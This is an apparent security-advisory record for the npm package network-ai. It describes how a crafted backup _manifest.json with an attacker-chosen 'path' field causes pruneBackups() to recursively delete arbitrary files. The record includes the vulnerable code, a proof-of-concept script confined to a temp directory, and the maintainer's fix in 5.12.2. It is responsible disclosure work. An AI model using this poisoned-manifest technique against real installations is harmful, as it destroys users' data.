{"id":"GHSA-2fmp-9rvw-hc96","revision":"a85bda539657442bb3208b48b811a533","records":[{"revision":"a85bda539657442bb3208b48b811a533","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-2fmp-9rvw-hc96","aliases":["CVE-2026-58484"],"title":"Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning","description":"### Summary\n`EnvironmentManager.listBackups()` reads each backup's `_manifest.json` and trusts the manifest's `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`.\n\nAn attacker who can place or modify a manifest inside `data/<env>/.backups/<name>/_manifest.json` can cause `network-ai env backup prune --env <env> --keep <n>` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.\n\n### Details\n`listBackups()` trusts manifest content from disk:\n\n```ts\nfor (const name of readdirSync(backupsDir)) {\n  const manifest = join(backupsDir, name, '_manifest.json');\n  if (existsSync(manifest)) {\n    try {\n      const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry;\n      entries.push(entry);\n    } catch { /* corrupt manifest, skip */ }\n  }\n}\n```\n\n`pruneBackups()` uses the attacker-controlled `entry.path` as the deletion target:\n\n```ts\nconst toDelete = all.slice(keep);\nlet deleted = 0;\nfor (const entry of toDelete) {\n  try {\n    rmSync(entry.path, { recursive: true, force: true });\n    deleted++;\n  } catch { /* ignore */ }\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup prune --env <env> --keep <n>`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:505-523` — reads trusted backup entries from `_manifest.json`.\n- `lib/env-manager.ts:529-541` — recursively deletes `entry.path`.\n- `bin/cli.ts:464-472` — default CLI exposes backup pruning.\n\n### PoC\nThis PoC uses only a temporary directory and deletes only a temporary file:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - <<'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\n\nconst mgr = new EnvironmentManager(path.join(base, 'data'), {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nfs.writeFileSync(path.join(base, 'victim.txt'), 'safe');\n\nconst backupsDir = path.join(base, 'data', 'dev', '.backups');\nfs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true });\nfs.writeFileSync(\n  path.join(backupsDir, 'evil', '_manifest.json'),\n  JSON.stringify({\n    backupId: 'evil',\n    env: 'dev',\n    timestamp: '2000-01-01T00:00:00.000Z',\n    sizeBytes: 0,\n    path: path.join(base, 'victim.txt'),\n  })\n);\n\nconsole.log(JSON.stringify({\n  before: fs.existsSync(path.join(base, 'victim.txt')),\n  deleted: mgr.pruneBackups('dev', 0),\n  after: fs.existsSync(path.join(base, 'victim.txt')),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `before` is `true`, `deleted` is `1`, and `after` is `false`, proving deletion occurred outside `data/dev/.backups`.\n\n### Impact\nAn attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.","state":0,"publishedAt":"2026-06-19T21:42:26+00:00","modifiedAt":"2026-07-21T03:56:48.1306605+00:00","affected":[{"ecosystem":"npm","name":"network-ai","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"5.12.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96","https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3","https://github.com/Jovancoding/Network-AI","https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"],"sourceUrl":"https://github.com/advisories/GHSA-2fmp-9rvw-hc96","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2fmp-9rvw-hc96","identifiers":["GHSA-2fmp-9rvw-hc96","CVE-2026-58484"]},"retained":false,"historicalAffected":[]}],"coverage":[]}